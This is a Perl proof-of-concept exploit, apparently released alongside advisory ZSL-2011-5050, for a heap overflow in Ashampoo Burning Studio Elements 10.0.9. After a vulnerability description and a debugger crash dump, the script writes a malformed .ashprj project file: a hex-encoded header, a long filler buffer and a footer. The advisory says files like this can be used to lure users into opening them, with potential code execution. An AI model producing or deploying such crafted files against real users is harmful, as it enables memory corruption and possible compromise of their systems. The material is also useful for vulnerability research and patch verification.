1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 |
#!/usr/bin/perl # # # Ashampoo Burning Studio Elements 10.0.9 (.ashprj) Heap Overflow Vulnerability # # # Vendor: Ashampoo GmbH & Co. KG # Product web page: http://www.ashampoo.com # Affected version: 10.0.9 # # Summary: Ashampoo Burning Studio Elements offers you everything you need to # burn movies, music and data - fast and effectively. The software with the # intuitive user interface focuses on the core competencies of burning software # and offers you compact functions to tackle all tasks relating to your burning # projects easily create data discs, burn backups, rip music, create audio CDs # or burn already existing film files on Blu-ray Disc and lots more. # # Desc: The application suffers from a heap overflow vulnerability because it # fails to properly sanitize user supplied input when parsing .ashprj project # file format resulting in a crash corrupting the heap-based memory. The # attacker can use this scenario to lure unsuspecting users to open malicious # crafted .ashprj files with a potential for arbitrary code execution on the # affected system. # # --------------------------------------------------------------------------- # # HEAP[burningstudioelements.exe]: Heap block at 051F7F08 modified at 051F7F86 past requested size of 76 # (f10.26c): Break instruction exception - code 80000003 (first chance) # eax=051f7f08 ebx=051f7f86 ecx=7c91d4fd edx=00f1eca5 esi=051f7f08 edi=00000076 # eip=7c90120e esp=00f1eea8 ebp=00f1eeac iopl=0 nv up ei pl nz na po nc # cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00200202 # ntdll!DbgBreakPoint: # 7c90120e ccint 3 # 0:000> g # HEAP[burningstudioelements.exe]: Invalid Address specified to RtlFreeHeap( 01A70000, 051F7F10 ) # (f10.26c): Break instruction exception - code 80000003 (first chance) # eax=051f7f08 ebx=051f7f08 ecx=7c91d4fd edx=00f1ecb6 esi=01a70000 edi=051f7f08 # eip=7c90120e esp=00f1eec0 ebp=00f1eec4 iopl=0 nv up ei pl nz na po nc # cs=001bss=0023ds=0023es=0023fs=003bgs=0000 efl=00200202 # ntdll!DbgBreakPoint: # 7c90120e ccint 3 # 0:000> d edi # 051f7f0812 00 06 00 02 07 1a 01-01 00 00 00 e8 5c a0 e6.............\.. # 051f7f18cb f9 c3 b3 0c e8 5c a0-e6 cb 41 42 41 42 41 42......\...ABABAB # 051f7f2841 42 41 42 41 42 41 42-41 42 41 42 41 42 41 42ABABABABABABABAB # 051f7f3841 42 41 42 41 42 41 42-41 42 41 42 41 42 41 42ABABABABABABABAB # 051f7f4841 42 41 42 41 42 41 42-41 42 41 42 41 42 41 42ABABABABABABABAB # 051f7f5841 42 41 42 41 42 41 42-41 42 41 42 41 42 41 42ABABABABABABABAB # 051f7f6841 42 41 42 41 42 41 42-41 42 41 42 41 42 41 42ABABABABABABABAB # 051f7f7841 42 41 42 41 42 41 42-41 42 41 42 41 42 41 abABABABABABABABA. # # --------------------------------------------------------------------------- # # # Tested on: Microsoft Windows XP Pro SP3 (En) # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2011-5050 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5050.php # # # 28.09.2011 # use strict; system("color 80"); my $filefm = "Aodrulez.ashprj"; # ;) &banner; print "\nThis PoC script will create the $filefm file!\n\n"; system("pause"); my $buffer = "\x41\x42" x 50000; my $header = "\x61\x73\x68\x70\x72\x6A\x00\x00\x0A\x00\x00\x00\x00\x00\x00\x56". #0x03 (ETX) removed. "\x45\x52\x53\x08\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01". "\x00\x00\x00\x66\x50\x52\x4A\xEA\x02\x00\x00\x00\x00\x00\x00\x49". "\x44\x00\x00\x20\x00\x00\x00\x00\x00\x00\x00\x70\x00\x72\x00\x6F". "\x00\x6A\x00\x65\x00\x63\x00\x74\x00\x2E\x00\x64\x00\x61\x00\x74". "\x00\x61\x00\x64\x00\x69\x00\x73\x00\x63\x00\x66\x50\x50\x53\x00". "\x00\x00\x00\x00\x00\x00\x00\x66\x50\x52\x4D\x10\x00\x00\x00\x00". "\x00\x00\x00\x46\x4C\x41\x47\x04\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x66\x43\x4D\x50\x56\x02\x00\x00\x00\x00\x00\x00\x54". "\x59\x50\x45\x08\x00\x00\x00\x00\x00\x00\x00\x44\x00\x61\x00\x74". "\x00\x61\x00\x66\x50\x50\x53\x00\x00\x00\x00\x00\x00\x00\x00\x66". "\x46\x53\x00\x88\x00\x00\x00\x00\x00\x00\x00\x46\x53\x00\x00\x36". "\x00\x00\x00\x00\x00\x00\x00\x44\x00\x69\x00\x73\x00\x63\x00\x54". "\x00\x79\x00\x70\x00\x65\x00\x41\x00\x70\x00\x70\x00\x72\x00\x6F". "\x00\x70\x00\x72\x00\x69\x00\x61\x00\x74\x00\x65\x00\x2E\x00\x50". "\x00\x72\x00\x69\x00\x6D\x00\x61\x00\x72\x00\x79\x00\x46\x53\x00". "\x00\x3A\x00\x00\x00\x00\x00\x00\x00\x44\x00\x69\x00\x73\x00\x63". "\x00\x54\x00\x79\x00\x70\x00\x65\x00\x41\x00\x70\x00\x70\x00\x72". "\x00\x6F\x00\x70\x00\x72\x00\x69\x00\x61\x00\x74\x00\x65\x00\x2E". "\x00\x53\x00\x65\x00\x63\x00\x6F\x00\x6E\x00\x64\x00\x61\x00\x72". "\x00\x79\x00\x4C\x41\x42\x4C\x10\x00\x00\x00\x00\x00\x00\x00\x4D". "\x00\x79\x00\x20\x00\x46\x00\x69\x00\x6C\x00\x65\x00\x73\x00\x66". "\x4B\x49\x44\x7A\x01\x00\x00\x00\x00\x00\x00\x66\x46\x44\x52\x6E". "\x01\x00\x00\x00\x00\x00\x00\x66\x4E\x4F\x44\xC7\x00\x00\x00\x00". "\x00\x00\x00\x48\x45\x41\x44\x1F\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x00\x80\xEB\x8C\x96\x7D\x35\xE1\xB3\x0C\x80\xEB\x8C\x96". "\x7D\x35\xE1\xB3\x0C\x80\xEB\x8C\x96\x7D\x35\xE1\xB3\x0C\x4E\x41". "\x4D\x45\x08\x00\x00\x00\x00\x00\x00\x00\x52\x00\x6F\x00\x6F\x00". "\x74\x00\x44\x53\x52\x43\x7C\x00\x00\x00\x00\x00\x00\x00\x00\x00". "\x00\x00\x74\x00\x00\x00\x66\x00\x69\x00\x6C\x00\x65\x00\x3A\x00". "\x2F\x00\x2F\x00\x2F\x00\x43\x00\x3A\x00\x2F\x00\x44\x00\x6F\x00". "\x63\x00\x75\x00\x6D\x00\x65\x00\x6E\x00\x74\x00\x73\x00\x25\x00". "\x32\x00\x30\x00\x61\x00\x6E\x00\x64\x00\x25\x00\x32\x00\x30\x00". "\x53\x00\x65\x00\x74\x00\x74\x00\x69\x00\x6E\x00\x67\x00\x73\x00". "\x2F\x00\x41\x00\x6C\x00\x6C\x00\x25\x00\x32\x00\x30\x00\x55\x00". "\x73\x00\x65\x00\x72\x00\x73\x00\x2F\x00\x44\x00\x65\x00\x73\x00". "\x6B\x00\x74\x00\x6F\x00\x70\x00\x2F\x00\x66\x4B\x49\x44\x8F\x00". "\x00\x00\x00\x00\x00\x00\x66\x4C\x45\x46\x83\x00\x00\x00\x00\x00". "\x00\x00\x66\x4E\x4F\x44\x77\x00\x00\x00\x00\x00\x00\x00\x48\x45". "\x41\x44\x27\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\xE8\x5C". "\xA0\xE6\xCB\xF9\xC3\xB3\x0C\xE8\x5C\xA0\xE6\xCB"; my $footer = "\xF9\xC3\xB3\x0C\x28\x80\xBA\xA7\x70\x35\xE1\xB3\x0C\x50\x02\x00". "\x00\x00\x00\x00\x00\x4E\x41\x4D\x45\x12\x00\x00\x00\x00\x00\x00". "\x00\x4A\x00\x6F\x00\x78\x00\x79\x00\x31\x00\x2E\x00\x6C\x00\x6E". "\x00\x6B\x00\x44\x53\x52\x43\x1A\x00\x00\x00\x00\x00\x00\x00\x3A". "\x00\x00\x00\x12\x00\x00\x00\x4A\x00\x6F\x00\x78\x00\x79\x00\x31". "\x00\x2E\x00\x6C\x00\x6E\x00\x6B\x00\x66\x43\x4D\x50\x28\x00\x00". "\x00\x00\x00\x00\x00\x54\x59\x50\x45\x10\x00\x00\x00\x00\x00\x00". "\x00\x45\x00\x6C\x00\x54\x00\x6F\x00\x72\x00\x69\x00\x74\x00\x6F". "\x00\x66\x50\x50\x53\x00\x00\x00\x00\x00\x00\x00\x00"; my $fringe = $header.$buffer.$footer; print "\n - Preparing to write to file...\n"; sleep 1; open (prj, ">./$filefm") || die "\nCan't open $filefm: $!"; print "\n - Writing to file...\n"; print prj $fringe; close (prj); sleep 2; print "\n - File \"$filefm\" successfully crafted!\n\n - t00t!\n"; sub banner { print "\n"; print "_" x 51; print "\n\n Ashampoo Burning Studio Elements 10 Heap Overflow\n\n"; print "\tCopyleft (c) 2011 - Zero Science Lab\n\n"; print "\t\tID: ZSL-2011-5050\n\n"; print "_" x 51; print "\n"; } #EOF |